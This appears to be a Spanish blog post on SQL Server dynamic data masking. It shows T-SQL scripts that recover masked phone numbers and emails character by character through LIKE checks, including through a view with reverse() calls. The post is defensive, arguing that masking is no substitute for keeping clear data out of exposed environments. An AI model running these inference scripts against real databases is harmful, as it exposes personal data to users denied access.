Dynamic data masking (enmascaramiento) es una técnica que busca limitar/ocultar información sensible sin requerir cambios en las aplicaciones. Los datos en la base de datos realmente no se modifican, se alteran “al vuelo” de forma que cuando las consultas devuelven resultados se aplican las máscaras apropiadas. Esto hace que esta funcionalidad sea sencilla de implementar ya que no requiere cambios sustanciales y sea bastante transparente para las aplicaciones que utilizan los datos enmascarados.

Una de las primeras cosas que debemos considerar al utilizar esta técnica es que no es una alternativa a la encriptación y que tiene ciertas limitaciones que pueden volverla “peligrosa” si se permite acceso al dato enmascarado de forma directa. Si no tenemos más remedio que utilizarla, recomendamos encarecidamente el uso de procedimientos almacenados o mecanismos de control sobre la tipología de operaciones que se puedan realizar sobre las tablas con datos enmascarados.

Esta funcionalidad de data masking está disponible desde SQL Server 2016 y por defecto se nos proporcionan 4 funciones de enmascarado:

  • Función “default”. Esta función realiza distintos tipos de enmascarados según el tipo de dato. Si el dato a enmascarar es una cadena de texto se sustituirá por XXXX, si es un número se sustituirá por un 0, si es una fecha por el 19000101, etc.
  • Función “email”. Esta función mantendrá la primera letra y el sufijo final. Por ejemplo test@dominio.com se ofuscaría como tXXX@XXXXXXX.com
  • Función “random”. Esta función generará un número aleatorio dentro de un rango como máscara a aplicar.
  • Función “partial”. Con esta función definiremos cuantos caracteres al principio y al final de una cadena queremos dejar visibles y que patrón utilizaremos para el resto. Por ejemplo si utilizamos una función partial(0,’XXXX-XXXX-XXXX-‘,4) mostraríamos únicamente los 4 últimos de una tarjeta de crédito típica.

En Azure SQL Database también contamos con una función «credit card» que proporciona una plantilla partial preconfigurada para tarjetas de crédito:

Una vez hemos descrito las posibilidades que tenemos vamos a ver un ejemplo donde crearemos una tabla y aplicaremos las funciones anteriores de enmascaramiento para poder ver más a fondo su funcionamiento. Comenzaremos creando una base de datos y una tabla con varias de sus columnas enmascaradas con las funciones previamente comentadas:

USE master
GO
CREATE DATABASE DataMaskingDB
GO
USE DataMaskingDB
GO
CREATE TABLE MaskedTable  
  (ID int IDENTITY PRIMARY KEY,  
   FirstName varchar(100) MASKED WITH (FUNCTION = 'partial(1,"XXXXXXX",0)') NULL,  
   LastName varchar(100) MASKED WITH (FUNCTION = 'partial(1,"XXXXXXX",0)') NULL,  
   Age int MASKED WITH (FUNCTION = 'random(18,100)') NULL,  
   Phone varchar(12) MASKED WITH (FUNCTION = 'default()') NULL,  
   Email varchar(100) MASKED WITH (FUNCTION = 'email()') NULL);

Una vez tenemos la tabla creada, insertaremos algunos datos de prueba de la misma forma que lo haríamos en cualqueir otra tabla:

-- Insert sample data
INSERT MaskedTable (FirstName, LastName, Age, Phone, Email) VALUES   
('Pepe', 'García', 34, '666777888', 'pepe.garcia@hotmail.com'),  
('Martina', 'González', 45, '677555333', 'mgonzalez@gmail.com'),  
('Lucia', 'Fernández', 52, '633999222', 'luci123@yahoo.es'),  
('Agustín', 'Rodríguez', 47, '644222111', 'arg@ua.es'),  
('Eva', 'López', 25, '655888222', 'evalopez@madrid.org')

Si estamos conectados como administradores a la base de datos, como es mi caso en este momento, si lanzamos una consulta sobre la tabla veremos los datos sin enmascarar:

-- Admin can read all data unmasked
SELECT * FROM MaskedTable;  

Esta es por tanto la primera limitación respecto a su uso en entornos donde ciertos usuarios tengan más permisos de los necesarios para leer los datos. A continuación vamos a crear un usuario nuevo y vamos a darle permisos de lectura únicamente, pero no le concederemos permisos de UNMASK que serían los necesarios para obtener el dato en claro:

-- Create an user without UNMASK permissions
CREATE USER MaskedUser WITHOUT LOGIN;  
GRANT SELECT ON MaskedTable to MaskedUser

Impersonando al usuario MaskedUser, ejecutaremos la consulta de nuevo obteniendo los datos enmascarados:

EXECUTE AS USER='MaskedUser'

-- Masked results
SELECT  * from MaskedTable

Llegados a este punto, ¿cómo podría el usuario MaskedUser obtener la información que está enmascarada? La solución para por «inferir» los valores correctos mediante una aproximación de fuerza bruta. Básicamente lo que haremos será intentar obtener el valor correcto realizando comprobaciones caracter a caracter y creando la cadena con el prefijo correcto hasta que consigamos obtener el valor real.

Para mostrar el funcionamiento de esta técnica vamos a intentar obtener el teléfono del usuario con ID = 4. Para ello lanzaremos el siguiente script con el usuario MaskedUser:

-- Telephone force brute attack, only numbers
declare @chars varchar(100) = '0123456789'
declare @charindex int =0 
declare @likemask varchar(100) =''
declare @finish bit = 0
declare @ID int = 4
declare @maxlength int = 9

-- Iterate while we don't find a match or we match the maxlength
while (@finish=0 and LEN(@likemask)<@maxlength)
begin
  set @charindex=@charindex+1
  if @charindex>LEN(@chars)
  begin
    set @finish=1
    select 'Character not found, expand @chars array with extra values'
  end
  else
  begin
    set @likemask=@likemask+SUBSTRING(@chars,@charindex,1)
    IF exists (select 1 from MaskedTable where ID=@ID and Phone like @likemask+'%')
    begin
      -- Check exact match
      IF exists (select 1 from MaskedTable where ID=@ID and Phone=@likemask)
      begin
        set @finish=1
        select @likemask HiddenData
      end
      ELSE
      -- Partial match, reset charindex and go for the next character
      set @charindex=0
    end
    else
    begin
      --not match, remove last char and try the next one
      set @likemask=substring(@likemask,1,len(@likemask)-1)
    end
  end
end

El resultado que obtendremos será precisamente el teléfono que intentábamos ocultar:

La razón por la que funciona esta aproximación es debida a que el enmascaramiento, para evitar romper lógica interna de los procedimientos, procesos, etc. únicamente enmascara los datos que vamos a devolver al cliente directamente. En este caso como podemos ver no estamos devolviendo el dato directamente, únicamente estamos realizando algunas comprobaciones lógicas para ver si existe una fila con cierto ID y que cumpla una condición LIKE.

En el script tenemos ciertos parámetros que tendremos que definir, como por ejemplo los caracteres para utilizar en el ataque de fuerza bruta, en este caso hemos usado solo los caracteres del 0 al 9 pero podríamos haber añadido también símbolos como los paréntesis, o espacios, puntos, etc. El script lo que hará será para cada caracter probar con todas las opciones y cuando encuentre que el primer caracter «es correcto» pasará al siguiente así hasta completar el proceso.

Esta misma técnica la podemos usar para el caso del email. En este caso comenzaremos generando una cadena de caracteres ascii con letras, números y ciertos símbolos (como la @, el punto, etc.)

-- Email force brute attack using numbers, letters and some symbols
declare @chars varchar(128)
WITH E00(N) AS (SELECT 1 UNION ALL SELECT 1),
    E02(N) AS (SELECT 1 FROM E00 a, E00 b),
    E04(N) AS (SELECT 1 FROM E02 a, E02 b),
    E08(N) AS (SELECT 1 FROM E04 a, E04 b),
    E16(N) AS (SELECT 1 FROM E08 a, E08 b),
    E32(N) AS (SELECT 1 FROM E16 a, E16 b),
cteTally(N) AS (SELECT ROW_NUMBER() OVER (ORDER BY N) FROM E32)
SELECT @chars=string_agg(char(n+37),'')
FROM cteTally
WHERE N <= 85;
select @chars somechars
go

Una vez tenemos la cadena que queremos usar, lanzaremos el mismo algoritmo del caso anterior ajustando los nombres de columnas, longitudes y caracteres a testear:

declare @chars varchar(100) = '&''()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz'
declare @charindex int =0 
declare @likemask varchar(100) =''
declare @finish bit = 0
declare @ID int = 4
declare @maxlength int = 50

-- Iterate while we don't find a match or we match the maxlength
while (@finish=0 and LEN(@likemask)<@maxlength)
begin
  set @charindex=@charindex+1
  if @charindex>LEN(@chars)
  begin
    set @finish=1
    select 'Character not found, expand @chars array with extra values'
  end
  else
  begin
    set @likemask=@likemask+SUBSTRING(@chars,@charindex,1)
    IF exists (select 1 from MaskedTable where ID=@ID and Email like @likemask+'%')
    begin
      -- Check exact match
      IF exists (select 1 from MaskedTable where ID=@ID and Email=@likemask)
      begin
        set @finish=1
        select @likemask HiddenData
      end
      ELSE
      -- Partial match, reset charindex and go for the next character
      set @charindex=0
    end
    else
    begin
      --not match, remove last char and try the next one
      set @likemask=substring(@likemask,1,len(@likemask)-1)
    end
  end
end

Por tanto no podemos confiar en las funciones de data masking si permitimos al usuario lanzar código arbitrario contra el servidor. Una posibilidad que podríamos tener es utilizar esta funcionalidad como un «puente» para generar los datos que finalmente se accederán. Es decir, podríamos por ejemplo usar MaskedUser para generar un clon/copia de la tabla y utilizar esa tabla con los datos enmascarados pero «materializados» en vez de la tabla original:

revert

SELECT TOP (0) * into dbo.MaskedTableStatic FROM MaskedTable
GRANT SELECT,INSERT ON dbo.MaskedTableStatic to MaskedUser

EXECUTE AS USER='MaskedUser'
-- Materializar la tabla, crear una copia estática
INSERT INTO dbo.MaskedTableStatic (FirstName,LastName,Age,Phone,Email)
SELECT FirstName,LastName,Age,Phone,Email FROM MaskedTable

SELECT * from dbo.MaskedTableStatic

Esto parece poco práctico, por lo que podemos pensar que quizás haciendo alguna «triquiñuela» con una vista podríamos seguir usando la tabla original. Por ejemplo, imaginemos que creamos una vista como la siguiente, donde añadimos dos llamadas a «reverse» para intentar evitar el acceso directo al dato de la tabla base:

revert

CREATE VIEW VMaskedTable
AS 
SELECT ID, reverse(reverse(Phone)) Phone,reverse(reverse(Email)) Email FROM MaskedTable
GO
GRANT SELECT ON dbo.VMaskedTable to MaskedUser
GO

EXECUTE AS USER='MaskedUser'

SELECT * FROM dbo.MaskedTable
SELECT * FROM VMaskedTable

Cuando lanzamos la consulta sobre la vista nos encontramos que ocurre algo extraño y es que el email, pasa a estar enmascarado de forma distinta. Vamos a dar al usuario permisos para ver el plan de ejecución para intentar determinar qué ocurre:

revert

GRANT SHOWPLAN TO MaskedUser

EXECUTE AS USER='MaskedUser'

SELECT * FROM dbo.MaskedTable
SELECT * FROM VMaskedTable

Si comparamos los planes de ejecución de ambas consultas, una accediendo a la vista y otra accediendo a la tabla nos encontramos que la función utilizada para generar la expresión cambia, cosa que no debería pasar:

Concretamente vemos que en el acceso a la tabla directa tenemos [Expr1006] = Scalar Operator(DataMask([DataMaskingDB].[dbo].[MaskedTable].[Email],0x08000000,(2),(1),(0),(0),(0))) mientras que en el caso del acceso a través de la vista tenemos [Expr1005] = Scalar Operator(DataMask(reverse(reverse([DataMaskingDB].[dbo].[MaskedTable].[Email])),0x08000000,(1),(1),(0),(0),(0))). Es decir, por alguna razon interna se está modificando un parámetro de la función interna DataMask que es la que realiza el proceso de enmascaramiento. Pensamos que el problema/bug podía venir derivado de algún ordinal que se utilice erróneamente pero generamos una vista con el mismo número de columnas y el problema/bug se reproduce:

revert
go
CREATE VIEW VMaskedTable2
AS 
SELECT ID, 'a' a ,'b' b ,12 c,reverse(reverse(Phone)) Phone,reverse(reverse(Email)) Email FROM MaskedTable
GO
GRANT SELECT ON dbo.VMaskedTable2 to MaskedUser
GO

EXECUTE AS USER='MaskedUser'
-- Masked results over the view with reverse/reverse phone number
SELECT  * from VMaskedTable2

Por tanto el problema debe estar causado por añadir las funciones reverse que afecten de algún modo a la generación del plan de ejecución con el datamasking correcto.

De todas formas, vemos que la función de enmascarado se aplica posteriormente a la aplicación de las funciones reverse, lo cual nos podría dar cierta sensación de estar «evitando» el acceso directo a la columna. Si esto fuese 100% cierto el algoritmo anterior no debería poder desenmascarar el dato si usamos la vista VMaskedTable ya que si las condiciones LIKE aplicaran sobre este dato enmascarado no funcionaría.

Sin embargo, si lanzamos de nuevo el código modificado para que utilice la vista, nos encontramos que sí funciona y nos obviene el dato en claro tanto para el teléfono como para el email:

-- Telephone force brute attack, only numbers
declare @chars varchar(100) = '0123456789'
declare @charindex int =0 
declare @likemask varchar(100) =''
declare @finish bit = 0
declare @ID int = 4
declare @maxlength int = 9

-- Iterate while we don't find a match or we match the maxlength
while (@finish=0 and LEN(@likemask)<@maxlength)
begin
  set @charindex=@charindex+1
  if @charindex>LEN(@chars)
  begin
    set @finish=1
    select 'Character not found, expand @chars array with extra values'
  end
  else
  begin
    set @likemask=@likemask+SUBSTRING(@chars,@charindex,1)
    IF exists (select 1 from VMaskedTable where ID=@ID and Phone like @likemask+'%')
    begin
      -- Check exact match
      IF exists (select 1 from VMaskedTable where ID=@ID and Phone=@likemask)
      begin
        set @finish=1
        select @likemask HiddenData
      end
      ELSE
      -- Partial match, reset charindex and go for the next character
      set @charindex=0
    end
    else
    begin
      --not match, remove last char and try the next one
      set @likemask=substring(@likemask,1,len(@likemask)-1)
    end
  end
end


declare @chars varchar(100) = '&''()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz'
declare @charindex int =0 
declare @likemask varchar(100) =''
declare @finish bit = 0
declare @ID int = 4
declare @maxlength int = 50

-- Iterate while we don't find a match or we match the maxlength
while (@finish=0 and LEN(@likemask)<@maxlength)
begin
  set @charindex=@charindex+1
  if @charindex>LEN(@chars)
  begin
    set @finish=1
    select 'Character not found, expand @chars array with extra values'
  end
  else
  begin
    set @likemask=@likemask+SUBSTRING(@chars,@charindex,1)
    IF exists (select 1 from VMaskedTable where ID=@ID and Email like @likemask+'%')
    begin
      -- Check exact match
      IF exists (select 1 from VMaskedTable where ID=@ID and Email=@likemask)
      begin
        set @finish=1
        select @likemask HiddenData
      end
      ELSE
      -- Partial match, reset charindex and go for the next character
      set @charindex=0
    end
    else
    begin
      --not match, remove last char and try the next one
      set @likemask=substring(@likemask,1,len(@likemask)-1)
    end
  end
end

La razón la tenemos en la generación del plan de ejecución del condicional (IF) que tenemos en el script. Si nos fijamos en el plan de ejecución podemos ver como trabaja con del dato sin enmascarar, aplicando los dos reverses pero no el DataMask, ya que no se está “devolviendo” al cliente el dato en realidad, lo cual nos permite seguir usando la misma técnica para descubrir el dato pese a la aplicación de funciones intermedias:

Desgraciadamente al mostrar este tipo de técnicas de inferencia nos encontramos que en general la gente no es consciente del riesgo real que se está asumiendo. En este tipo de situaciones donde se manejen datos sensibles recomendamos que nunca se utilicen funciones ni sistemas similares «dinámicos» sino que se evite directamente la posibilidad de acceder al dato a nivel físico. Por ejemplo, antes de mover/copiar el dato sensible (tabla, fila, columna, etc.) a un entorno donde pueda correr peligro debemos evitar dicho movimiento de datos, cortando así de raiz el problema. No sería válido realizar un restore de la base de datos de producción y posteriormente realizar operaciones de update de columnas ya que podrían realizarse recuperaciones del dato sensible desde el log de transacciones. Tampoco podemos confiar en los procesos de borrado de filas, ya que este proceso no es síncrono ni tenemos garantías que en los registros marcados como borrados en SQL Server (ghost records) vayan a ser eliminados de forma inmediata (o ni siquiera de que esto que vaya a ocurrir, por ejemplo si habilitamos el trace flag 661 que deshabilita dicho proceso).

En resumen, tenemos que tener muy claro qué aporta data masking y qué no aporta para evitar que la información que pretendemos enmascarar/ofuscar acabe siendo visible. También debemos evitar a toda costa que el dato «en claro» pase de ninguna forma entre entornos, ni en backups, ni en volcados de tablas, ni por red, etc. para evitar que la mera existencia de dicho dato pueda dejar algun «resquicio» que permita que alguien con conocimientos suficientes pueda acceder a él.

 

Si quieres mitigar riesgos en tu base de datos en desarrollo o en producción (y cumplir con la normativa vigente en materia de protección de datos), contacta con nuestro equipo o infórmate en este enlace sobre nuestra solución DatabaseOfuscator

 

Artículos relacionados:

– «Depurar aplicaciones contra datos de producción: ofuscación y GDPR» – Enrique Catalá.

– «Implicaciones de la GDPR y administración de bases de datos. ¿Cumplimos?» – por Paula García.

 

Rubén Garrigós